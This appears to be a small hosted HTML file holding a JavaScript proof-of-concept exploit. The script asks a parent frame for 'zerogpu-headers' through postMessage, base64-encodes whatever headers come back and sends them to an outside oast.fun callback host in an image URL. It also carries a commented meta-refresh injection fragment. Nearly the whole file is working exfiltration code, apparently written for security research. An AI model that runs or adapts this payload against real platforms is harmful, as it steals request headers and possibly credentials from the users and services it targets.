File size: 567 Bytes
c6c23c3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
d796b77
c6c23c3
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<script>
//<img><meta http-equiv="refresh" content="0;url=http://localhost/">
const channel = new MessageChannel();

channel.port1.onmessage = e => {
  const data = e.data;
  console.log("Leaked Headers via postMessage:");
  console.table(data);

  // Encode the data as base64
  const encoded = btoa(JSON.stringify(data));

  // Send via GET request to your lab endpoint
  const img = new Image();
  img.src = `https://bwjcdbkeriyfukekpyrgpbl0oyei87cm2.oast.fun/poc?data=${encoded}`;
};
window.parent.postMessage("zerogpu-headers", "*", [channel.port2]);

</script>